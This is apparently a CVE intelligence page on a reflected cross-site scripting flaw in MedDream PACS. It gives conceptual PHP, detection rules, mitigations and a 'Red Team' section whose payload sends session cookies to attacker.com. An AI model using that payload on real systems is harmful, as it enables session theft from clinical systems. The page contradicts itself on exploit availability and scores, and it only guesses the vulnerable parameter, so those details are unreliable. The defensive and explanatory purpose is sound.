☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Meddream logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 6.1 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-57786

CVE-2025-57786 Cross-Site Scripting in Meddream
📅 PUBLISHED: 2026-01-20 14:49 UTC 🔄 UPDATED: 2026-08-12 09:00 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.06%
👁️
0.06% probability
1.6× above the median CVE
Tier: LOW
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Lithuania License: Commercial
VULNERABLE: 7.3.6.870
CVSS VECTOR BREAKDOWN 6.1
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
6.1
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-57786 is a reflected cross-site scripting (XSS) vulnerability in the notifynewstudy functionality of MedDream PACS Premium version 7.3.6.870. This flaw allows an attacker to craft a malicious URL that, when visited by an authenticated or unauthenticated user, executes arbitrary JavaScript in the context of the victim's browser session. The vulnerability has a CVSS score of 6.1 (Medium) and currently has no known patch or public exploit code. The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the risk remains significant for healthcare environments using this PACS system.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not related to an open-source package (NPM, PyPI, Go, Ruby). It affects a proprietary medical imaging software (MedDream PACS Premium). No supply chain or package security implications are present.

CVSS Breakdown & Threat Level

  • CVSS Score: 6.1 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
  • Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely.
  • Attack Complexity: Low (AC:L) – No special conditions are required.
  • Privileges Required: None (PR:N) – No authentication needed to trigger the XSS.
  • User Interaction: Required (UI:R) – The victim must click a crafted link.
  • Scope: Changed (S:C) – The XSS can impact resources beyond the vulnerable component.
  • Confidentiality Impact: Low (C:L) – Limited data exposure possible.
  • Integrity Impact: Low (I:L) – Limited modification of data possible.
  • Availability Impact: None (A:N) – No denial of service.

Threat Level: Medium. While the CVSS score is moderate, the context of medical imaging systems elevates the risk due to potential patient data exposure and disruption of clinical workflows.

Deep Dive & Mechanics

The vulnerability resides in the notifynewstudy functionality of MedDream PACS Premium. This feature is designed to notify users about new studies (e.g., radiology images). The application fails to properly sanitize user-supplied input reflected in the URL, allowing an attacker to inject arbitrary JavaScript.

Mechanism:

  1. An attacker crafts a URL containing a malicious JavaScript payload in a parameter (likely studyUID, patientID, or similar) that is reflected in the response without proper encoding.
  2. The victim (e.g., a radiologist or technician) clicks the link, which may be delivered via email, chat, or other means.
  3. The victim's browser executes the injected script in the context of the MedDream PACS application.
  4. The script can then perform actions such as stealing session cookies, exfiltrating patient data, or performing actions on behalf of the victim.

Root Cause: Lack of output encoding or input validation on the reflected parameter in the notifynewstudy endpoint.

Vulnerable vs. Patched Code

Since no patch is available, we can only describe the vulnerable code pattern.

Vulnerable Code (Conceptual):

// notifynewstudy.php (vulnerable)
$studyUID = $_GET['studyUID'];
echo "<div>New study notification for: " . $studyUID . "</div>";

Patched Code (Conceptual):

// notifynewstudy.php (patched)
$studyUID = htmlspecialchars($_GET['studyUID'], ENT_QUOTES, 'UTF-8');
echo "<div>New study notification for: " . $studyUID . "</div>";

The patched version uses htmlspecialchars() to encode HTML special characters, preventing script injection.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

  1. Deploy a vulnerable instance of MedDream PACS Premium 7.3.6.870 in an isolated environment.
  2. Use a web browser or tool like Burp Suite to intercept and modify requests.

Exploitation Steps:

  1. Identify the vulnerable parameter (e.g., studyUID) in the notifynewstudy endpoint.
  2. Craft a malicious URL:
    http://target-pacs/notifynewstudy?studyUID=<script>alert('XSS')</script>
    
  3. Deliver the URL to a victim (e.g., via email or chat).
  4. When the victim clicks the link, the JavaScript executes.

Advanced Payload (Cookie Stealing):

http://target-pacs/notifynewstudy?studyUID=<script>document.location='http://attacker.com/steal?cookie='+document.cookie</script>

Blue Team (Defensive)

Detection:

  • Monitor web server logs for requests to /notifynewstudy containing suspicious patterns like <script>, onerror=, or javascript:.
  • Use a WAF to block reflected XSS payloads.
  • Implement Content Security Policy (CSP) headers to restrict script execution.

Mitigation:

  • Apply input validation and output encoding on all user-supplied data.
  • Use a security scanner to identify XSS vulnerabilities.
  • Restrict access to the PACS system via VPN or network segmentation.

Indicators of Compromise (IOCs)

  • URL Patterns: Requests to /notifynewstudy containing <script>, %3Cscript%3E, onerror=, or javascript:.
  • Network Traffic: Outbound connections from the PACS server to unknown IPs on ports 80/443 (for cookie exfiltration).
  • Log Entries: Web server logs showing unusual parameters in notifynewstudy requests.
  • File Artifacts: Temporary files or scripts created by the XSS payload (if it writes to the filesystem).

Detection Engineering

YARA Rule

rule CVE_2025_57786_MedDream_XSS {
    meta:
        description = "Detects reflected XSS attempts against MedDream PACS notifynewstudy"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-57786"
    strings:
        $xss1 = /notifynewstudy\?.*(<script|%3Cscript|onerror|javascript:)/
        $xss2 = /studyUID=.*(<script|%3Cscript|onerror|javascript:)/
    condition:
        any of them
}

Sigma Rule

title: Reflected XSS Attempt Against MedDream PACS notifynewstudy
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects reflected XSS payloads in notifynewstudy requests
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-57786
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-uri-query|contains:
            - '<script'
            - '%3Cscript'
            - 'onerror='
            - 'javascript:'
        cs-uri-stem|contains: '/notifynewstudy'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in parameters (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-57786 MedDream PACS Reflected XSS Attempt"; flow:to_server; content:"/notifynewstudy"; http_uri; pcre:"/(<script|%3Cscript|onerror|javascript:)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Isolate the PACS system: Restrict network access to only trusted users and systems.
  2. Apply a WAF rule: Block requests to /notifynewstudy containing XSS patterns.
  3. Monitor logs: Actively review web server logs for suspicious activity.

Long-term Fix:

  • Vendor Patch: Contact MedDream for an official patch. If unavailable, consider upgrading to a newer version or migrating to a different PACS solution.
  • Code Fix: If source code is accessible, implement proper input validation and output encoding (e.g., htmlspecialchars() in PHP, or equivalent in other languages).
  • Security Hardening: Implement Content Security Policy (CSP) headers, HTTP-only cookies, and X-XSS-Protection headers.

Workaround:

  • Disable the notifynewstudy functionality if not essential, or restrict access to it via authentication and authorization controls.

Valters IT

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

MedDream PACS
MedDream PACS Premium

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-57786/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.